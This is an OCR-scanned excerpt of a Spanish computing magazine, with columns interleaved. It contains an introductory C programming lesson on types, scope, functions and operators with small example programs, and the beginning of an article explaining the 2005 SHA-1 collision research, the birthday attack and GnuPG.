El tamaño en memoria del tipo int con modificador long es 4 bytes unas llaves de apertura y de cierre donde
hay más código metido. Bien a todo lo
El tamaño en memoria del tipo float es 4 bytes
que hay entre { y }, se llama en C
El tamaño en memoria del tipo double es 10 bytes bloque de código y se ejecuta todo
juntito cada vez que se entra en dicho
El tamaño en memoria del tipo double con modificador long es 14 bytes
bloque de código. En nuestro caso se
ejecuta al entrar en la función main, que
Listado 2
se “activa” o mejor dicho y hablando con
De momento tenemos un aviso, esto ya más claros, mejor para luego depurar propiedad, es llamada, siempre que se
veremos por qué es, pero no es nada errores y entender programas no escritos ejecuta el programa que estamos hacien­
malo, no os asustéis, simplemente es por nosotros y hacernos entender, claro. do.
que el compilador es bastante informa­ Después aparece main(). Esta es una
tivo. Él esperaba que la función main función y debe aparecer siempre en todo Vemos también que hay otra función:
devolviese un entero y se ha encontrado programa de C. Es digamos el punto de printf. Esta función recibe como pará­
con void y ha protestado. Pero no pasa entrada. La puerta de acceso para colocar metros un texto y lo presenta en panta­
nada, es un aviso. Si fuese un error...., cajones y demás ;-). Y antes vemos que lla... Me estás engañando, me podéis
otro gallo cantaría. tiene la palabra void que como dijimos decir, porque yo ahí veo algo más que
era el quinto tipo de datos que hay en texto. Y no os faltaría razón. Pero dejad
Bien, el código se llama primero.c y con C. Antes de explicar el void (que se que os aclare que hay muchas formas
el compilador gcc hemos creado el eje­ puede traducir por “vacío”, “nada” o de presentar un texto y que de momento
cutable primero. Para ejecutarlo pone­ “hueco”), vamos a ver qué es eso de nos valdrá con esta definición para esta
mos:(ver listado 2) una función. función. Cuando se vean punteros y
demás podremos ver su definición de
Y aquí están los resultados en mi orde­ De matemáticas nos han explicado que forma más precisa.
nador. Obviamente no tiene por qué una función es algo que tú le das valores
coincidir con los que obtengáis cada uno a una variable (o a varias) y como resul­ Pero os debo explicar cómo lo hemos
en los vuestros, suele depender del com­ tado tienes un número (u otras cosas utilizado en este caso. Fijémonos bien y
pilador, pero si no obtenéis lo mismo, pero no es momento de complicar las tomemos un ejemplo de nuestro progra­
no os asustéis. De aquí, se sacan cosas funciones matemáticas, de eso se encar­ ma:
interesantes. Como que un tipo int es gan ya bien ellas mismas). Bien, pues
por defecto igual que un float, sólo que este símil expresa muy bien lo que es printf("El tamaño en memoria del
obviamente, representan cosas distintas. una función en programación: recibe tipo char es %o byte\n",
Y uno sale de dudas con el tamaño de valores de variables (que son también sizeof(char));
los tipos de datos. variables, pero que los programadores
se empeñan en llamar argumentos) y Bien, tenemos, según lo que he explicado
Ahora bien, vamos a explicar algo de como resultado arrojan otro valor, que anteriormente en nuestro prototipo de
este nuestro primer programa en C. Los en el caso de la programación es otra función que no hay nada como ti­
comentarios, como habéis podido deducir, variable. En matemáticas esto que sería po_valor_retorno. No nos preocupará
se pueden hacer de dos maneras: F(x1,x2,...,xn) = resultado, aquí sería: ahora en exceso, pero no poner nada y
1. Mediante /* para indicar el inicio poner void (que es “nada”, curioso,
tipo_valor_retorno nombre_funcion( x1,x2,...,xn)
de un comentario y */ para finalizarlo. ¿verdad?) viene a ser lo mismo, con lo
Se suelen utilizar para cuando los cual nos podemos ahorrar el ponerlo. De
{ Bloque de código }
comentarios ocupan más de una línea. hecho, os animo a probar el código an­
terior suprimiendo los void de main y
Y esto nos vale como prototipo de
2. Mediante // si ocupa sólo una línea. veréis como no cambia en nada el resul­
función, para poder analizar el resto de
Cuando pasamos a la siguiente ya no tado. Ánimo valientes, que no se diga.
funciones que nos vayamos encontrando
tiene efecto. Luego tenemos (“El tamaño en memo­
después.
ria del tipo char es %o es by­
Los comentarios añaden claridad a un
te\n”,sizeof(char));. Bien, entre los
programa y no hacen que disminuya su Luego en nuestro ejemplo se devuelve
paréntesis vienen los argumentos de la
eficiencia como tal, ya que son ignorados una variable que tiene el tipo void (o lo
función prinft. Esta función, como trabaja
luego por el compilador. Cuantos más y que es lo mismo, no devuelve nada) y
con cadenas, lo que hace es recibir ca­
no tiene ningún parámetro de entrada.

46
denas. Premio a la coherencia, que se variables, que son básicas en todo pro­ dicha variable. La forma de declarar una
llama ;-). Y en las cadenas podemos grama. Hemos dicho que son como ca­ variable en C es la siguiente:
incluir valores de variables, que van jones donde guardamos datos (papeles,
luego separadas por comas. Y para incluir libretas, lo que sea) de un tipo deter­
tipo variable_1, variable_2, ..., variable_n;
su valor dentro de la cadena que quere­ minado. Ahora bien, ¿dónde están en
mos sacar por pantalla, pues nada mejor un programa?.
Aquí se declaran varias variables del
que poner un símbolo del porcentaje y
mismo tipo. En este caso variable_1,
luego una letra, que nos indica el tipo Bueno, para nuestro alivio, no tenemos
variable_2, ..., variable_n, son lo que
de la variable que queremos sacar que saber dónde están, sino que podemos
hemos llamado anteriormente como iden­
por pantalla. En este caso o representa “etiquetar” dichos cajones con un nombre
tificadores.
un valor octal, i para enteros, f para que nos sea significativo. A esto se le
números en coma flotante... llama identificador. En C deben empezar
Hasta ahora vamos pasando de la oscu­
Luego el valor que sustituye en la salida con una letra, un símbolo “_” (de subra­
ridad a la luz poquito a poco. Mientras
a %o es sizeof(char), que es un ope­ yado) y luego pueden seguirle letras y/o
uno aprende ve también un concepto
rador monario (¿mandéeee?, tranquilos, números. El único símbolo que podemos
que es absolutamente fundamental: vi­
más adelante se verá, de momento es usar es el _ como parte de la “etiqueta”
sibilidad de las variables. Es decir qué
para que nos suene) que nos dice el que pongamos a nuestros cajones. Como
partes del programa ven a qué variables
tamaño en bytes de una variable en toda etiqueta, para que sea útil debe ser
y en función de qué criterios esto es así.
memoria. A este operador se le puede representativa de lo que guarda nuestro
Para que nos quede algo claro: en C las
pasar una variable o como en este caso, cajón. Por tanto si en un cajón guardamos
llaves (de los bloques de código {})
un tipo. un papel con nuestro salario, pondremos
hacen que el resto del programa no vea
salario a dicha variable. De otro modo al
Bien, con esto uno se queda con la un pijo dentro de ahí. Es como si cerrasen
mirar el identificador no sabremos qué es
sensación de que no sabe absolutamente un armario (bloque de código) donde
lo que guarda.
nada de C. Y la verdad es que no está podemos tener cajones (variables). Por
muy equivocado. Pero como en todos lo tanto sólo desde dentro de ese armario
La longitud, puede ser la que queramos,
los comienzos, hay que ir pasito a pasito son accesibles los distintos cajones.
pero sólo los 31 primeros caracteres
y viendo y comprendiendo bien los pilares Vamos a ver otro programita, para relajar
serán significativos para nuestro compi­
de la programación. Que una función se un poco el tostón :P. Un ejemplo de esto
lador, con esto tenemos más que sufi­
invoque de una forma u otra no debe que digo.(ver listado 3)
ciente.
molestarnos/preocuparnos ahora. Para
eso hay ayuda a patadas dentro del Bueno al compilar y ejecutar tenemos
C es un lenguaje bastante ordenado. Me
propio compilador. lo siguiente:(ver listado 4)
explico: no nos deja meter nada en un
cajón, si previamente no lo hemos com­
prado/ordenado hacer. Obvio, ¿verdad? Primero hay que explicar cómo hemos
Pues a esto se le llama declarar una declarado las variables aquí. Dijimos que
Una vez vistos los tipos básicos que hay declararlas era “comprar o encargar los
variable. Así el compilador lo que hace
en C vamos a adentrarnos más en las cajones”. Técnicamente lo que hacemos
es reservar espacio en memoria para

/* Segundo programa en C */

// Librerías para E/S


#include <stdio.h>

main()
{
// Declaramos varias variables
int empleados = 3000;
float salario = 1500.37;
char caracter = 's';

printf("El número de empleados es: %i, con un salario de %f \n",empleados,salario);

// Definimos un bloque de código con variables que sólo pueden verse desde dicho bloque
{
int empleados = 110;
float salario = 2400.56;
printf("El número de empleados es: %i, con un salario de %f \n",empleados,salario);
printf("El valor de la variable tipo char del bloque externo a este es %c\n",caracter);
}
}

Listado 3

47
popolous@Ulises Programas C $ gcc segundo.c -o segundo Un tipo especial de variable, según dicen
popolous@Ulises Programas C $ ./segundo los manuales es la constante. Esto que
El número de empleados es: 3000, con un salario de 1500.369995 puede parecer raro, no lo es tanto, ya
El número de empleados es: 110, con un salario de 2400.560059 que luego la definen como una variable
El valor de la variable tipo char del bloque externo a este es s que no puede cambiar su valor y se
quedan tan panchos. Hala, si en los
Listado 4 exámenes se pudiesen arreglar dudas
es reservar memoria para dichas varia­ cerca el programa. Vemos que nasty no así de sencillo... En fin, una constante
bles. En este caso sería así: está accesible por la función main. Sin pues se declara igual que si fuese una
embargo el bloque sí que podía acceder variable, con su tipo y todo, sólo que
int empleados = 110; a las variables de main. Pero... ¿qué vamos a decirle al compilador que no
pasa con las variables que tienen el cambie su valor, anteponiendo la palabra
Además, hemos inicializado dicha va­ mismo nombre en el bloque que en la clave const. Se inicializa al mismo tiempo
riable, que no es más que darle un valor función principal? Pues nada, simplemen­ que se declara, ya que como el programa
inicial. Es decir, el cajón nos lo ven­ te que al entrar en el bloque quedan no puede modificar su valor, pues es la
den/dan con algo dentro que nosotros enmascaradas por las que se definen en única forma en que podemos asignarle
queramos ya, no tenemos que meterle el bloque de código. algo.
nosotros nada. Y como veis y aprovecho
para decirlo, toda sentencia (línea de A este tipo de variables, se les llama Es un cajón con llave en el que le decimos
código) en C debe acabar con un “;”, si variables locales, porque sólo son ac­ al carpintero que meta algo que nosotros
no, dará error. cesibles desde la propia función (en este sabemos lo que es, lo podemos ver y
caso main) o desde el propio bloque de usar (es transparente como el resto de
Aquí se ve claramente que las variables código donde son declaradas. Sin embar­ cajones, ya veis, estos son cajones es­
empleadas y salario que se definieron go, si las declaramos fuera de main peciales), pero no podemos abrirlo para
dentro del bloque de código pueden ver (antes de esta función), se llaman glo­ cambiar lo que tiene dentro.
a las otras variables fuera de él (como la bales. Estas variables son visibles para
variable de tipo char llamada carácter todo el código y funciones del fichero Un último tipo de variable que nos va a
en un rapto de originalidad por mi parte). donde sean declaradas. hacer mucha falta es el de variable
Sin embargo, desde fuera no podemos parametrizada, que no son más que
acceder. Si intentamos lo siguiente, ahora Y hay más formas de variables, pero eso los parámetros que se le pasan a una
veremos la gracia de C :P.(ver listado lo dejo para una quizás para una función para poder operar con ellos. El
5)(ver listado 6) ampliación. De momento con esto es utilizar parámetros para definir las fun­
más que suficiente para empezar a ma­ ciones nos va a valer para poder hacerlas
Está muy claro que nos ha mandado nejarnos con C. más reutilizables.

/* Tercer programa en C */

// Librerías para E/S


#include <stdio.h>

main()
{
// Declaramos varias variables
int empleados = 3000;
float salario = 1500.37;
char caracter = 's';

printf("El número de empleados es: %i, con un salario de %f \n",empleados,salario);

// Definimos un bloque de código con variables que sólo pueden verse desde dicho bloque
{
int empleados = 110;
float salario = 2400.56;

char nasty = 'n';


printf("El número de empleados es: %i, con un salario de %f \n",empleados,salario);
printf("El valor de la variable tipo char del bloque externo a este es %c\n",caracter);
}
printf("Bonito error al tratar de leer %c\n",nasty);
}

Listado 5

48
se llama producto que no tiene ningún
popolous@Ulises Programas C $ gcc tercero.c -o tercero parámetro y que devuelve un entero.
tercero.c: En la función `main': Hemos declarado la función producto.
tercero.c:23: error: `nasty' undeclared (first use in this function) La definición está al final del código, en
tercero.c:23: error: (Each undeclared identifier is reported only once las líneas:
tercero.c:23: error: for each function it appears in.)
// Aquí definimos la función
Listado 6 // producto y cómo opera
int producto(void)
No es lo mismo definir dos variables En este vemos que la función producto {
globales y luego una función que multi­ no es reutilizable, en el sentido de que return (numero1*numero2);
plique los dos números contenidos en no la podemos separar y compilar en un }

esas dos variables globales, por ejemplo, archivo aparte como librería (veremos
que una función que acepte dos números más de esto en futuras entregas). Que no es más que repetir la declaración
como argumentos (variables de entrada Antes de pegar el código con una función y añadir el bloque de código correspon­
o paso de argumentos como se llama en un poco más reutilizable, vamos a ver diente delimitado por llaves. Para que
programación) y devuelva su producto. la diferencia entre declaración de una una función devuelva un valor se usa
Como el movimiento se demuestra an­ función, definición de una función y return y luego el valor que puede estar
dando, ahí va un ejemplo de una función llamada a una función. en forma explícita como en este caso, a
producto que no se puede reutilizar (hay través de una expresión o también se
que definir dos variables globales en Podemos ver que al igual que las varia­ podía haber hecho:
cada nuevo programa que hagamos) y bles las funciones en C deben declararse
// Aquí definimos la función
otra que sí. Observad vosotros mismos para poder usarse, en este caso eso lo
// producto y cómo opera
las diferencias. Algo de la elegancia de hacemos con la línea: int producto(void)
C (y en general de los lenguajes de {
int producto(void);
programación estructurados) se puede int resultado;
ver aquí.(ver listado 7) resultado = numero1*numero2;
Con esta línea ya le indicamos al compi­ return resultado;
lador que vamos a usar una función que }

/* Cuarto programa de C */

// Importamos la librería estándar de E/S en C

#include <stdio.h>

// Declaramos una función que devuelve el producto de dos números enteros

int producto(void);

// Variables globales a utilizar


int numero1 = 0;
int numero2 = 0;

// También se podría haber hecho ya que todas son del mismo tipo:
// int numero1, numero2;

main()
{
// Damos valores enteros a las variables globales
numero1 = 7;
numero2 = 15;

// Calculamos su producto y lo mostramos por pantalla


printf("El valor del producto de %d y %d es: %d\n",numero1,numero2,producto());
}

// Aquí definimos la función producto y cómo opera


int producto(void)
{
return (numero1*numero2);
}

Listado 7

49
A m b a s f o r m a s s o n e q u i va l e n t e s . Para terminar y que podáis hacer algunas x = x + 1;. La diferencia entre ambos se
Para la llamada a una función vamos a cositas ya en C, voy a explicar muy ve clara con este ejemplo:
usar el otro ejemplo:(ver listado 8) rápidamente los operadores que hay en
x = 10;
Este programa tiene pocas cosas que C (los principales), por si queréis ir y = x++;
explicar. Voy a matizar una variante que experimentando con ellos y ampliar ma­
no aparecía en el anterior: teria ;-). Cuando esto se ejecuta x queda como 11
e y como 10, ya que primero se hace la
int producto(int,int); asignación y luego el incremento. En cam­
bio en:
Aquí la declaración indica cantidad de Bien, de modo telegráfico vamos a ver los
argumentos y el tipo que tienen esos operadores. En C tenemos de los siguientes x = 10;
argumentos: dos enteros. Aparte, el tipo tipos: y = ++x;
de retorno de la función.
La llamada a la función se produce en Aritméticos. En ambos casos ambas variables tendrán
esta línea: Igual que los de “matracas”: operador de el valor de 11 (si no me creéis sería buen
suma (+), resta (-), multiplicación (*), ejercicio que lo comprobarais). En estos
resultado = producto(numero1,numero2); división (/) - este operador funciona dis­ dos ejemplos x siempre toma el valor de
tinto si la división es entre números enteros 11, pero la diferencia está en cuándo
Aquí se llama a producto y el valor que
o reales, resto de la división entera (%), cambia de valor (antes o después de la
devuelve, se asigna a una variable. Así,
que sólo funciona entre números enteros. asignación).
sin quererlo ni beberlo hemos visto
Todos estos son binarios, es decir, actúan
asignación de variables (aunque algo se
con dos operandos: sumandos en la suma, Decremento: En este caso sería -–x; o
vio cuando hablé de inicialización de las
minuendo y sustraendo en la resta, divi­ también x--. Con las mismas diferencias
mismas). Para que esta expresión tenga
dendo y divisor en la división, multiplican­ entre la forma prefija (la primera) y la
sentido en C, deben ser, a priori, del
dos, etc. postfija (la segunda) que para el caso del
mismo tipo. Y digo a priori porque no incremento.
tiene por qué ser necesariamente así.
También tenemos operadores aritméticos
Pero por el momento, como estamos
monarios, es decir que actúan sobre un También se pueden abreviar asignaciones
empezando, vamos a hacer asignaciones
sólo elemento. Estos son incremento (++) si en ambos lados interviene la misma
como $DEITY manda. Ya habrá ocasión
y decremento (--). Un ejemplo para que variable. Por ejemplo:
de rizar el rizo.
lo tengáis más claro:
Bien, pues con esto ya casi está lo que
Incremento: Se puede poner ++x; o x = x + 3;
quería contar en este primer artículo.
también x++; y es equivalente a poner
Se puede abreviar poniendo simplemente:

/* Quinto programa de C */ x += 3;

// Importamos la librería estándar de E/S en C


Y esto se puede hacer también con -=,
#include <stdio.h> *=, /=. Pero ojo, la misma variable en
ambos sitios. Aunque luego venga todo
// Declaramos una función que devuelve el producto de dos números enteros un chorizo detrás. Si tenemos:
Variable = Variable operador algo
int producto(int,int);
Se puede reducir a su forma equivalente:
main() Variable operador= algo;
{
int numero1, numero2, resultado; Relacionales y lógicos.
numero1 = 7;
numero2 = 15;
Estos tipos se usan para determinar una
resultado = producto(numero1,numero2);
// Calculamos su producto y lo mostramos por pantalla relación (operadores relacionales) y las
printf("El valor del producto de %i y %i es: %i\n",numero1,numero2,resultado); formas en que estas relaciones pueden
} c o n e c t a r s e ( o p e ra d o r e s l ó g i c o s ) .
Dentro de los primeros tenemos los que
// Aquí definimos la función producto y cómo opera
ya sabréis todos por matemáticas:
int producto(int numero1,int numero2)
{ Mayor que (>)
return (numero1*numero2); Menor que (<)
}
Mayor o igual que (>=)
Menor o igual que (<=)
Listado 8 Igual que (==)

50
Distinto (!=) Desplazamiento a la izquierda << Antes de despedirme hasta el próximo
número os digo que a estas alturas, sabéis,
Y los lógicos: Hay más (como sizeof (), ?, la coma “,” al menos, tanto como yo sobre C... y si
como operador, para punteros), pero los habéis sido curiosos más aún. Os invito a
Y lógico (&&) (Verdad sí y sólo sí los dejaremos para más adelante, que si no, que practiquéis y machaquéis estos con­
dos operandos son ciertos) esto es un empacho y hay que mantener ceptos y si tenéis dudas, estaré encantado
O lógico (||) (Verdad si al menos uno el interés por aprender este fascinante de responderlas en el foro:
de ellos es verdadero) lenguaje de programación. Como regalito
final os dejo una tabla de precedencia de http://www.hackxcrack.com/phpBB2/in
NO (!)
todos los operadores que tiene C para dex.php

En el caso de los lógicos he puesto un futuras referencias y para que la tengáis,


claro está ;-). Hasta el siguiente artículo. Espero que
resumen de la tabla de verdad de ellos.
haya sido de vuestro agrado. Para cualquier
Unos y otros se combinan para formar
sugerencia y/o crítica, fe de erratas, estaré
expresiones que nos permitirán control
de flujo de programas y otras cosillas más gustoso de recibirlas en el foro. Saludos.
que se irán viendo a lo largo del curso.
Por último, voy a citar a los operadores a
nivel de bits y que también utilizaremos
alguna vez, de momento aquí os los pre­
sento:

Y (&) a nivel de bits


O (|) a nivel de bits
O exclusiva (^) XOR
Complemento a uno ~
Desplazamiento a la derecha >>

PON AQUÍ TU PUBLICIDAD


Contacta DIRECTAMENTE con
nuestro coordinador de publicidad
INFÓRMATE
¡sin compromiso!
610 52 91 71

precios desde
99 euros
51
Bienvenidos de nuevo al rincón más críptico de la revista. Espero que el primer artículo os haya
gustado. :-)
En este segundo artículo vamos a conocer al "hermano libre" de PGP, GnuPG, además de conocer
algunas de las interfaces gráficas disponibles para el mismo. Como ya conocemos las bases del
funcionamiento del sistema OpenPGP del artículo anterior, no tiene sentido repetirlas de nuevo...
pero sí vamos a profundizar un poquito más. Si alguien se siente perdido con toda la teoría del
sistema, puede echar mano del artículo anterior para aclararse.
Pero antes de entrar de lleno con nuestro querido GnuPG, vamos a hablar de algo que está de ac­
tualidad en el mundo de la criptografía y que, aunque os pueda parecer lo contrario, está muy rela­
cionado con el sistema OpenPGP. Al que no le interese mucho esta parte, puede saltar tranquilamen­
te a la parte de GnuPG, siempre que no le importe arder eternamente en las llamas del infierno
reservado a los "faltos de curiosidad". }:-D

¿Qué? ¿¿Roto?? Comienzan las elucubraciones y la gente


comienza a opinar sobre las implicaciones de este hecho...
Es curioso ver que el mundo de la criptografía, donde mu­ pero en realidad todavía no se conocen ni los detalles, solo
cha gente piensa que ya está todo inventado, está tan vivo una somera nota de los resultados obtenidos por los inves­
como estuvo en los tiempos de Bletchley park y Mr. Turing. tigadores Xiaoyun Wang, Yiqun Lisa Yin, y Hongbo Yu (Uni­
Hace un par de meses, en el artículo anterior, mientras ex­ versidad de Shandong, China).
plicaba los algoritmos hash dije:
Si nos atenemos al algoritmo SHA-1 propiamente dicho,
<<SHA-1 (Secure Hash Algorithm), 1994. SHA-1 nació de
este ataque ha permitido su criptoanálisis en 2^69 opera­
manos del NIST como ampliación al SHA tradicional. Este
ciones frente a las 2^80 que cabrían esperar en un algorit­
algoritmo, pese a ser bastante más lento que MD5, es mu­
mo de su clase y longitud. ¿Qué significa eso realmente?
cho más seguro, pues genera cadenas de salida de 160
Aún no se conocen los detalles y tampoco si este ataque
bits (a partir de entradas de hasta 2^64 bits) que son mu­
logró obtener colisiones simples, colisiones fuertes...
cho más resistentes a colisiones simples y fuertes.>>
Dos días después, el día 17, pudimos tener acceso a un
Pues parece que el destino quiso quitarme la razón, porque documento original con los resultados (fechado el día 13
apenas unos días después de que saliera a la venta la re­ de Febrero), pero en él no se trata el ataque a SHA-1, sino
vista, el 15 de Febrero, salta la liebre en las comunidades únicamente uno al SHA original y otro a una versión sim­
dedicadas a la criptografía: Bruce Schneier ha publicado plificada de SHA-1.
en su blog una bomba: SHA-1 ha sido roto:

http://www.schneier.com/blog/archives/2005/02/sha1_bro http://theory.csail.mit.edu/~yiqun/shanote.pdf
ken.html

52
Al día siguiente, el día 18, el mismo y en la resistencia a las colisiones fuer­ des de que otra persona cumpla años el
Bruce Schneier publica en su blog más tes (también conocida como resistencia mismo día que él. Para los que no ten­
detalles sobre el criptoanálisis aplicado a la colisión). gan la combinatoria muy al día o no les
a SHA-1: apetezca pensar mucho, las posibilida­
Debemos tener en cuenta un par de co­
des son 1-(364/365)^n. Es decir, para
http://www.schneier.com/blog/archive sas cuando pensemos en las colisiones
de un sistema de hash: que las posibilidades sean superiores al
s/2005/02/cryptanalysis_o.html 50% es necesario que haya 253 perso­
El conjunto de los posibles valores de nas en esa fiesta.
En los foros, listas y comunidades de
seguridad se sigue hablando tímida­ entrada tiene cardinal infinito, puesto
que en principio podemos aplicar el al­ Ahora pensemos en las colisiones fuer­
mente del tema, pero realmente poca
goritmo de hash a cualquier entrada. tes... imaginemos ahora que queremos
gente comprende las implicaciones rea­
les, a corto y medio plazo, que ha teni­ Esto no se cumple para SHA-1 en con­ estudiar las probabilidades de que dos
do este ataque sobre el que es, hoy por creto, dado que está limitado a entradas personas cuales quiera cumplan años el
hoy, el principal algoritmo hash en la de tamaño menor o igual a 2^64 bits. mismo día. Las posibilidades ahora son
criptografía moderna. Por tanto para SHA-1 concretamente 1-[365!/(365^n*(365-1)!)], o sea que
nos encontramos con 2^(2^64) posi­
ahora únicamente son necesarias 23
Antes de nada, deberíamos hacer un bles entradas, es decir, 2^(1.8*10^19).
personas o más para que las posibilida­
pequeño repaso a las características de No he calculado el valor concreto (más
des sean superiores al 50%.
un algoritmo hash para entender bien la que nada porque Kcalc se desborda :-D)
explicación: pero es una auténtica burrada y para
A este modelo matemático se le conoce
nosotros eso nos vale como infinito...
como "ataque del cumpleaños".
Unidireccional: Una función hash
es irreversible, y dada una salida El conjunto de posibles valores de sa­
¿Y qué significa esto en la práctica?
de la misma, es computacional­ lida tiene un cardinal finito que viene
Significa que si quisiéramos lanzar un
definido por 2^n donde n es el número
mente imposible recomponer la ataque de fuerza bruta contra un algorit­
de bits de la salida generada, es decir,
entrada que la generó. mo de hash de n bits, necesitaríamos
por la propiedad de compresión. En
SHA-1 tenemos 2^160 posibles salidas realizar teóricamente 2^n operaciones
Compresión: Dado un tamaño
(1.46*10^48). para encontrar una colisión simple, mien­
c u a l q u i e ra d e e n t ra d a p a ra l a
tras que para encontrar una colisión fuer­
función hash, la salida de la mis­ De estas dos propiedades deducimos te necesitaríamos realizar únicamente
ma será de una longitud fija. que es imposible que toda entrada ten­ 2^(n/2). En el caso particular de SHA-1
ga una salida diferente, puesto que el nos encontramos con que en teoría serían
Difusión: La salida de la función
cardinal del conjunto de entrada es ma­ necesarias 2^160 operaciones para obte­
hash es un resumen complejo de
yor que el de salida. Así pues, si gene­ ner una colisión simple y 2^80 para obte­
la totalidad de la entrada, es decir,
ramos (2^160)+1 mensajes, será inevi­ ner una colisión fuerte.
se usan TODOS los bits de la mis­
table que al menos dos de ellos posean
ma.
el mismo valor de hash. Supongo que ahora ya se entienden un
Resistencia a las colisiones sim­ poco mejor las implicaciones del ataque
Hasta ahí la teoría de las colisiones. En a SHA-1. Como hemos dicho, la teoría
ples: Esta propiedad nos indica
la práctica encontramos dos tipos de co­ nos dice que para obtener una colisión
que dado un valor de entrada de
lisiones: fuerte necesitaríamos 2^80 operacio­
la función hash, es computacional­
mente imposible encontrar otra nes, y mediante el ataque del que esta­
Colisiones simples: Si dado un mensa­
entrada que genere el mismo va­ mos hablando se obtiene en solamente
je de entrada concreto, somos capaces
lor de salida. 2^69 operaciones. Puede parecer que
de encontrar otro de forma que ambos
no es mucha, pero dado que cada bit en
Resistencia a las colisiones fuer­ posean el mismo valor de hash, nos en­
el exponente duplica la complejidad (co­
tes: Esta propiedad nos indica que contramos ante una colisión simple.
mo ya dije en el primer artículo), la di­
es computacionalmente muy difícil ferencia entre 2^69 y 2^80 es enorme,
Colisiones fuertes: Si somos capaces
encontrar dos valores de entrada unas dos mil veces más sencillo (con­
de encontrar dos mensajes de entrada
que generen un mismo valor de cretamente 2^11, 2048).
con un mismo valor de hash, nos en­
salida.
contramos ante una colisión fuerte.
Las implicaciones prácticas de esto a
Como podemos ver, tenemos tres carac­ corto plazo no son tan graves como mu­
Y es la hora de hablar de colisiones y
terísticas "fijas" que son implementadas cha gente se aventuró a anunciar. El
en el propio algoritmo: unidireccionali­ cumpleaños (y que conste que aún no
he perdido la cabeza). sistema OpenPGP no ha dejado de ser
dad (también conocida como resistencia
seguro, pues aunque SHA-1 sea dos mil
a la preimagen), compresión y difusión.
Vamos a trasladar las colisiones simples veces más sencillo de comprometer, si­
Las debilidades, por tanto, se nos pue­
den presentar en la resistencia a las co­ a un ejemplo que sea más fácil de dige­ gue siendo una tarea muy compleja.
lisiones simples (también conocida co­ rir... imaginad que un hombre entra en
una fiesta y desea saber las posibilida­ Además, para poder falsificar un men­
mo resistencia a la segunda preimagen)
saje sería necesario encontrar una

53
colisión simple, y eso sigue requiriendo Si es factible, no obstante, la Existen muchas ventajas derivadas de
2^160 operaciones, lo cual es a todas implementación de versiones más po­ que GPG sea software libre, como por
luces seguro. Lo que sí sería posible es tentes de RIPEMD, como RIPEMD-320. ejemplo la gran cantidad de sistemas
crear dos mensajes cuya firma sea la soportados (GNU/Linux, GNU/Hurd,
misma, y aunque no es lo mismo, sí es Tiger: Algoritmo de hash de 192 bits FreeBSD, OpenBSD, NetBSD, Microsoft
algo a tener en cuenta. diseñado en 1996 por Ross Anderson y Windows, PocketConsole, Mac OS X,
Eli Biham. Está especialmente optimiza­ AIX, BSDI, HPUX, IRIX, MP-RAS, OSF1,
A largo plazo las implicaciones son peo­ da para ser utilizada en procesadores de OS/2, SCO UnixWare, SunOS, Solaris y
res, dado que la potencia de cálculo au­ 64 bits, y es vista con buenos ojos por USL UnixWare) o la disponibilidad total
menta constantemente, y lo que hoy es los expertos. Podéis encontrar más de su código fuente (y no únicamente
complicado, mañana es sencillo... el información sobre Tiger en: como material de consulta, como en el
precalcular colisiones fuertes en SHA-1 caso de PGP). Los que me conocen sa­
http://www.cs.technion.ac.il/~biham/Re
ya solo es cuestión de el tiempo que se ben que soy fiel defensor del software
ports/Tiger/
quiera invertir en ello. libre, pero no es éste el sitio para hablar
WhirPool: Algoritmo de hash de 512 de las ventajas de usar este tipo de
No obstante, el alarmismo que ha cundi­ software... únicamente quería apuntar
bits diseñado por Vincent Rijmen y
do es injustificado, pues hay muchos sis­ algunas ventajas de GPG sobre PGP.
Paulo S. L. M. Barreto. No es muy cono­
temas que han sido rotos, como MD5,
cido, y dado que gran parte de su con­
SHA-0, DES y otros tantos, que siguen La versión 1.0.0 de GPG fue liberada el
fiabilidad se basa en su gran longitud,
siendo usados. De hecho, como comenté 7 de Septiembre de 1999, y desde en­
resulta bastante lento computacional­
en el primer artículo, MD5 sigue siendo tonces han continuado publicándose
mente hablando. Podéis leer más sobre
un estándar de facto, y hace mucho tiem­ versiones actualizadas. Actualmente las
WhirPool en:
últimas versiones disponibles son la
po que fue comprometido en una forma
http://planeta.terra.com.br/informatica/ 1.4.0 de la rama estable y la 1.9.15 de
similar a la que acaba de serlo SHA-1. La
paulobarreto/WhirlpoolPage.html la rama de desarrollo. Como en otros
diferencia está en que ahora mismo se
casos de software crítico, recomiendo
confía en MD5 para tareas de "baja" se­
En cualquier caso, el futuro no parece encarecidamente optar siempre por la
guridad (como checksums de imágenes
pasar por la convocación de un concur­ versión estable.
ISO) mientras que se confía en SHA-1
so al estilo AES para que la comunidad
para aplicaciones más críticas, como fir­ A la hora de realizar las prácticas con
internacional lance sus propuestas y de
ma y certificados digitales. GPG, podréis seguirlas con cualquier
ellas salga el nuevo estándar de has­
hing. Algunos expertos, entre ellos sistema soportado (o sea, que los usua­
¿Qué camino va a tomar la comunidad rios de Windows podéis también disfru­
Bruce Schneier, ya lo están pidiendo.
criptográfica? La gente de la PGP tar de GPG :-P), si bien la parte en que
Corporation ya han anunciado que en su­ Bien, espero que ahora tengáis más cla­ tratamos las diversas interfaces gráficas
cesivas versiones incluirán nuevos algo­ ras las implicaciones del ataque criptoa­ está dedicada para los usuarios de sis­
ritmos, sin prisa, pero de forma segura. nalítico sobre SHA-1. Ahora podemos temas Unix-like (y más concretamente,
meternos de lleno con GnuPG. :-) GNU/Linux). Los "windowseros" que no
Así mismo se va mirando hacia nuevos
se me quejen, que el de PGP fue entero
algoritmos para reponer al herido SHA-1:
para ellos... ;-)

SHA-256, SHA-384, SHA-512: Versio- Las versiones que yo he utilizado para


nes de 256, 384 y 512 bits respectiva­ desarrollar el artículo son:
mente de SHA. Corren rumores de que
PGP se inclinará por alguno de estos al­ GNU Privacy Guard (al que nos referire­ GnuPG 1.4.0-2 bajo GNU/Linux
goritmos. Podéis encontrar más infor- mos como GPG) es una implementación Debian SID.
mación acerca de ellos en: libre del sistema OpenPGP (descrito en GPA 0.7.0-1 bajo GNU/Linux Debian
el RFC #2440, como ya dijimos en el SID.
http://csrc.nist.gov/encryption/shs/sha2 artículo anterior). Ofrece compatibilidad Kgpg 3.3.2-1 bajo GNU/Linux Debian
56-384-512.pdf con PGP e implementa todos los mismos SID.
algoritmos que éste menos el algoritmo GnuPG 1.4.0 bajo Microsoft Windows
RIPEMD-160: Algoritmo de hash de de cifrado simétrico IDEA, por ser éste XP SP1. (¿Pero alguien usa el Spyware
160 bits diseñado por Hans Dobbertin, aún un algoritmo patentado en ciertos Pack 2? :-D)
Antoon Bosselaers, y Bart Preneel. países. Aún así, es posible añadir la
